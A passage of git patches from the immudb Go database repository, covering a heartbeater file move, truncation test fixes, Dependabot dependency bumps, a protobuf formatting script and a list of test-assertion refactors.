@@ func (c *immuClient) CloseSession(ctx context.Context) error { func (c *immuClient) GetSessionID() string { return c.SessionID } - -func (c *immuClient) keepAliveErrorHandler(sessionID string, err error) { - if err == sessions.ErrSessionNotFound || err == ErrNotConnected || strings.Contains(err.Error(), "session not found") { - c.Logger.Errorf("heartbeater KeepAlive error, sessionID %s error %v", sessionID, err) - - panic(fmt.Errorf("heartbeater KeepAlive error, sessionID %s error %v", sessionID, err)) - } -} From bcd6811db03a54de5bbfa95ff8f44113fae44aec Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 23 Mar 2023 14:23:04 +0530 Subject: [PATCH 0379/1062] chore(pkg/client): move heartbeater.go to pkg/client --- pkg/client/client.go | 7 ++++--- pkg/client/{heartbeater => }/heartbeater.go | 4 +--- pkg/client/session.go | 3 +-- pkg/client/types.go | 3 +-- 4 files changed, 7 insertions(+), 10 deletions(-) rename pkg/client/{heartbeater => }/heartbeater.go (96%) diff --git a/pkg/client/client.go b/pkg/client/client.go index 596c52758e..88e8ffd35b 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -43,7 +43,6 @@ import ( "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/errors" - "github.com/codenotary/immudb/pkg/client/heartbeater" "github.com/codenotary/immudb/pkg/client/state" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/database" @@ -516,6 +515,8 @@ type ImmuClient interface { TruncateDatabase(ctx context.Context, db string, retentionPeriod time.Duration) error } +type ErrorHandler func(sessionID string, err error) + const DefaultDB = "defaultdb" type immuClient struct { @@ -529,8 +530,8 @@ type immuClient struct { serverSigningPubKey *ecdsa.PublicKey StreamServiceFactory stream.ServiceFactory SessionID string - HeartBeater heartbeater.HeartBeater - errorHandler heartbeater.ErrorHandler + HeartBeater HeartBeater + errorHandler ErrorHandler } // Ensure immuClient implements the ImmuClient interface diff --git a/pkg/client/heartbeater/heartbeater.go b/pkg/client/heartbeater.go similarity index 96% rename from pkg/client/heartbeater/heartbeater.go rename to pkg/client/heartbeater.go index bb107c2dcd..945e682263 100644 --- a/pkg/client/heartbeater/heartbeater.go +++ b/pkg/client/heartbeater.go @@ -14,7 +14,7 @@ See the License for the specific language governing permissions and limitations under the License. */ -package heartbeater +package client import ( "context" @@ -26,8 +26,6 @@ import ( "github.com/golang/protobuf/ptypes/empty" ) -type ErrorHandler func(sessionID string, err error) - type heartBeater struct { sessionID string logger logger.Logger diff --git a/pkg/client/session.go b/pkg/client/session.go index 1a76d38855..b1d188a5ca 100644 --- a/pkg/client/session.go +++ b/pkg/client/session.go @@ -7,7 +7,6 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/errors" - "github.com/codenotary/immudb/pkg/client/heartbeater" "github.com/codenotary/immudb/pkg/client/state" "github.com/codenotary/immudb/pkg/signer" "github.com/codenotary/immudb/pkg/stream" @@ -80,7 +79,7 @@ func (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, c.Options.DialOptions = dialOptions c.SessionID = resp.GetSessionID() - c.HeartBeater = heartbeater.NewHeartBeater(c.SessionID, c.ServiceClient, c.Options.HeartBeatFrequency, c.errorHandler) + c.HeartBeater = NewHeartBeater(c.SessionID, c.ServiceClient, c.Options.HeartBeatFrequency, c.errorHandler) c.HeartBeater.KeepAlive(context.Background()) c.WithStateService(stateService) diff --git a/pkg/client/types.go b/pkg/client/types.go index 97eb3f5625..25c12cec2a 100644 --- a/pkg/client/types.go +++ b/pkg/client/types.go @@ -19,7 +19,6 @@ package client import ( "crypto/ecdsa" - "github.com/codenotary/immudb/pkg/client/heartbeater" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/stream" @@ -77,7 +76,7 @@ func (c *immuClient) WithOptions(options *Options) *immuClient { return c } -func (c *immuClient) WithErrorHandler(handler heartbeater.ErrorHandler) *immuClient { +func (c *immuClient) WithErrorHandler(handler ErrorHandler) *immuClient { c.errorHandler = handler return c } From e72d48d4b9e0d6f6f3191067715a463b861494c3 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 28 Mar 2023 03:18:24 +0530 Subject: [PATCH 0380/1062] chore(pkg/database): fix truncation deletion point checks in test --- pkg/database/database_test.go | 3 ++- pkg/database/truncator_test.go | 12 +++++++----- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 90785b3494..d328c19530 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2211,7 +2211,8 @@ func Test_database_truncate(t *testing.T) { } } - for i := hdr.ID - 1; i > 0; i-- { + // ensure that the earlier txs are truncated + for i := uint64(5); i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 0bf4147b62..3e4f3cf37c 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -126,7 +126,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { db := makeDbWith(t, "db", options) - for i := 0; i < 10; i++ { + for i := 0; i < 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: make([]byte, fileSize), @@ -135,7 +135,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { require.NoError(t, err) } - deletePointTx := uint64(5) + deletePointTx := uint64(15) hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) @@ -144,7 +144,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) - for i := deletePointTx; i < 10; i++ { + for i := deletePointTx; i < 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) @@ -156,7 +156,8 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { } } - for i := deletePointTx - 1; i > 0; i-- { + // ensure earlier transactions are deleted + for i := uint64(5); i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) @@ -225,7 +226,8 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { } } - for i := deletePointTx - 1; i > 0; i-- { + // ensure earlier transactions are deleted + for i := uint64(5); i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) From dd91b95a8c7f6b05f9a05f848fa1bd6365a26b71 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 7 Mar 2023 19:02:42 +0000 Subject: [PATCH 0381/1062] chore(deps): bump aws-actions/configure-aws-credentials from 1 to 2 Bumps [aws-actions/configure-aws-credentials](https://github.com/aws-actions/configure-aws-credentials) from 1 to 2. - [Release notes](https://github.com/aws-actions/configure-aws-credentials/releases) - [Changelog](https://github.com/aws-actions/configure-aws-credentials/blob/main/CHANGELOG.md) - [Commits](https://github.com/aws-actions/configure-aws-credentials/compare/v1...v2) --- updated-dependencies: - dependency-name: aws-actions/configure-aws-credentials dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/performance.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 2eb4f22e66..351dfdee00 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -103,7 +103,7 @@ jobs: - name: Configure AWS credentials if: "${{ env.PERF_TEST_AWS_REGION }}" - uses: aws-actions/configure-aws-credentials@v1 + uses: aws-actions/configure-aws-credentials@v2 with: aws-access-key-id: "${{ secrets.PERF_TEST_AWS_ACCESS_KEY_ID }}" aws-secret-access-key: "${{ secrets.PERF_TEST_AWS_SECRET_ACCESS_KEY }}" From e55e0db5454b86ebb13ef91ab6af758613b83327 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 27 Mar 2023 20:42:36 +0000 Subject: [PATCH 0382/1062] chore(deps): bump golang.org/x/crypto Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.0.0-20220525230936-793ad666bf5e to 0.7.0. - [Release notes](https://github.com/golang/crypto/releases) - [Commits](https://github.com/golang/crypto/commits/v0.7.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 15 ++++++++------- go.sum | 33 ++++++++++++++++++++++++--------- 2 files changed, 32 insertions(+), 16 deletions(-) diff --git a/go.mod b/go.mod index 4072629216..c4f1860614 100644 --- a/go.mod +++ b/go.mod @@ -32,10 +32,10 @@ require ( github.com/spf13/viper v1.12.0 github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 - golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e - golang.org/x/net v0.7.0 - golang.org/x/sys v0.5.0 - golang.org/x/tools v0.1.12 + golang.org/x/crypto v0.7.0 + golang.org/x/net v0.8.0 + golang.org/x/sys v0.6.0 + golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd google.golang.org/grpc v1.46.2 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 @@ -99,9 +99,10 @@ require ( github.com/spf13/cast v1.5.0 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.3.0 // indirect - golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect - golang.org/x/term v0.5.0 // indirect - golang.org/x/text v0.7.0 // indirect + golang.org/x/mod v0.8.0 // indirect + golang.org/x/term v0.6.0 // indirect + golang.org/x/text v0.8.0 // indirect + golang.org/x/tools v0.6.0 // indirect gopkg.in/ini.v1 v1.66.6 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect diff --git a/go.sum b/go.sum index ce8a0a3fdb..8ea55cb89a 100644 --- a/go.sum +++ b/go.sum @@ -694,8 +694,8 @@ golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5y golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= -golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.7.0 h1:AvwMYaRytfdeVt3u6mLaxYtErKYjxA2OXjJ1HHq6t3A= +golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -731,8 +731,10 @@ golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -784,8 +786,10 @@ golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= -golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.8.0 h1:Zrh2ngAOFYneWTAIAPethzeaQLuHwhuBkuV6ZiRnUaQ= +golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -820,6 +824,7 @@ golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220513210516-0976fa681c29/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -906,13 +911,17 @@ golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= +golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= +golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw= +golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -922,8 +931,10 @@ golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= +golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.8.0 h1:57P1ETyNKtuIjB4SRd15iJxuhj8Gc416Y78H3qgMh68= +golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -990,8 +1001,12 @@ golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.5.1-0.20230111220935-a7f7db3f17fc/go.mod h1:N+Kgy78s5I24c24dU8OfWNEotWjutIs8SnJvn5IDq+k= +golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= +golang.org/x/tools/cmd/cover v0.1.0-deprecated h1:Rwy+mWYz6loAF+LnG1jHG/JWMHRMMC2/1XX3Ejkx9lA= +golang.org/x/tools/cmd/cover v0.1.0-deprecated/go.mod h1:hMDiIvlpN1NoVgmjLjUJE9tMHyxHjFX7RuQ+rW12mSA= golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= From 74ea58d17e80fe042735865c4ca8a6234a45212c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Fri, 23 Sep 2022 10:58:48 +0200 Subject: [PATCH 0383/1062] chore: Add reformatting of protobuf file on build/codegen MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- Makefile | 2 ++ pkg/api/schema/schema.proto | 8 ++++---- scripts/buf | 3 +++ 3 files changed, 9 insertions(+), 4 deletions(-) create mode 100755 scripts/buf diff --git a/Makefile b/Makefile index 15eb7748f8..384ed39ba2 100644 --- a/Makefile +++ b/Makefile @@ -145,6 +145,8 @@ coverage: .PHONY: build/codegen build/codegen: + $(PWD)/scripts/buf format -w + $(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index a9c9821f03..bf41edc36d 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -161,14 +161,14 @@ message OpenSessionResponse { message Precondition { // Only succeed if given key exists message KeyMustExistPrecondition { - // key to check - bytes key = 1; + // key to check + bytes key = 1; } // Only succeed if given key does not exists message KeyMustNotExistPrecondition { - // key to check - bytes key = 1; + // key to check + bytes key = 1; } // Only succeed if given key was not modified after given transaction diff --git a/scripts/buf b/scripts/buf new file mode 100755 index 0000000000..6346697b40 --- /dev/null +++ b/scripts/buf @@ -0,0 +1,3 @@ +#!/usr/bin/env bash + +go run github.com/bufbuild/buf/cmd/buf@v1.8.0 "${@}" From 791e1bbb465eaf68fd7bd062d26b10ed274495bc Mon Sep 17 00:00:00 2001 From: Jakub Nowik Date: Wed, 30 Nov 2022 19:34:30 +0100 Subject: [PATCH 0384/1062] chore(pkg/api): use ErrrIs/ErrorContains in error checks Signed-off-by: Jakub Nowik refactor(pkg/client/cache/history_file_cache): use existing error variable Signed-off-by: Jakub Nowik refactor(pkg/client/cache): create and use ErrNotImplemented Signed-off-by: Jakub Nowik chore(pkg/client): use ErrrIs/ErrorContains in error checks Signed-off-by: Jakub Nowik chore(pkg/database): use ErrrIs/ErrorContains in error checks Signed-off-by: Jakub Nowik refactor(pkg/fs): use ErrrIs/ErrorContains in error checks, take functions calls outside of error assertions Signed-off-by: Jakub Nowik refactor(pkg/immuos): use ErrrIs/ErrorContains in error checks, take functions calls outside of error assertions Signed-off-by: Jakub Nowik chore(pkg/integration): use ErrrIs/ErrorContains in error checks Signed-off-by: Jakub Nowik chore(pkg/pgsql): use ErrrIs/ErrorContains in error checks Signed-off-by: Jakub Nowik chore(pkg/signer): use ErrrIs/ErrorContains in error checks Signed-off-by: Jakub Nowik chore(pkg/stdlib): use ErrrIs/ErrorContains in error checks Signed-off-by: Jakub Nowik refactor(pkg/stream): use ErrrIs/ErrorContains in error checks, use variables for custom error checks Signed-off-by: Jakub Nowik chore(pkg/streamutils): use ErrrIs/ErrorContains in error checks Signed-off-by: Jakub Nowik chore(pkg/auth): use ErrorContains in error checks Signed-off-by: Jakub Nowik chore(pkg/server): use ErrrIs/ErrorContains in error checks Signed-off-by: Jakub Nowik chore(pkg/client): use ErrrIs/ErrorContains in error checks Signed-off-by: Jakub Nowik --- pkg/api/schema/ops_test.go | 7 +- pkg/api/schema/row_value_test.go | 2 +- pkg/api/schema/sql_test.go | 2 +- pkg/auth/passwords_test.go | 2 +- pkg/auth/serverinterceptors_test.go | 8 +- pkg/client/auditor/auditor_test.go | 15 +- pkg/client/cache/common_test.go | 2 +- pkg/client/cache/errors.go | 1 + pkg/client/cache/history_file_cache.go | 4 +- pkg/client/cache/history_file_cache_test.go | 16 +- pkg/client/cache/inmemory_cache.go | 4 +- pkg/client/cache/inmemory_cache_test.go | 8 +- pkg/client/client_test.go | 2 +- pkg/client/clienttest/immuclient_mock_test.go | 29 +-- pkg/client/homedir/homedir_test.go | 5 +- pkg/client/session_test.go | 4 +- pkg/client/stream_test.go | 5 +- pkg/client/tokenservice/inmemory_test.go | 2 +- pkg/client/tokenservice/token_service_test.go | 2 +- pkg/database/all_ops_test.go | 36 ++-- pkg/database/database_test.go | 26 +-- pkg/database/reference_test.go | 16 +- pkg/database/replica_test.go | 2 +- pkg/database/sorted_set_test.go | 14 +- pkg/database/sql_test.go | 30 +-- pkg/fs/copy_test.go | 7 +- pkg/fs/tar_test.go | 10 +- pkg/fs/zip_test.go | 7 +- pkg/immuos/filepath_test.go | 9 +- pkg/immuos/os_test.go | 37 ++-- pkg/immuos/user_test.go | 12 +- pkg/integration/client_test.go | 58 +++--- pkg/integration/follower_replication_test.go | 12 +- pkg/integration/server_recovery_test.go | 2 +- .../signature_verifier_interceptor_test.go | 6 +- pkg/integration/sql/sql_test.go | 6 +- .../stream/stream_replication_test.go | 4 +- pkg/integration/stream/stream_test.go | 24 +-- pkg/integration/tx/transaction_test.go | 2 +- pkg/pgsql/server/fmessages/bind_test.go | 2 +- pkg/pgsql/server/fmessages/execute_test.go | 2 +- pkg/pgsql/server/fmessages/parse_test.go | 2 +- pkg/pgsql/server/message_test.go | 13 +- pkg/pgsql/server/pgsql_integration_test.go | 26 +-- pkg/pgsql/server/request_handler_test.go | 5 +- pkg/pgsql/server/server_test.go | 4 +- pkg/pgsql/server/ssl_handshake_test.go | 5 +- pkg/pgsql/server/types_test.go | 8 +- pkg/server/db_runtime_test.go | 6 +- pkg/server/errors_test.go | 6 +- pkg/server/pid_test.go | 6 +- pkg/server/remote_storage_test.go | 7 +- pkg/server/server_test.go | 177 ++++++++---------- pkg/server/sql_test.go | 21 +-- pkg/server/state_signer_test.go | 2 +- pkg/server/stream_replication_test.go | 14 +- pkg/server/stream_test.go | 16 +- pkg/server/user_test.go | 2 +- pkg/signer/ecdsa_test.go | 10 +- pkg/stdlib/connection_test.go | 21 ++- pkg/stdlib/connector_test.go | 2 +- pkg/stdlib/rows_test.go | 2 +- pkg/stdlib/tx_test.go | 7 +- pkg/stdlib/uri_test.go | 6 +- pkg/stream/execall_receiver_test.go | 14 +- pkg/stream/execall_sender_test.go | 17 +- pkg/stream/kvparser_test.go | 9 +- pkg/stream/kvsender_test.go | 5 +- pkg/stream/receiver_test.go | 17 +- pkg/stream/sender_test.go | 5 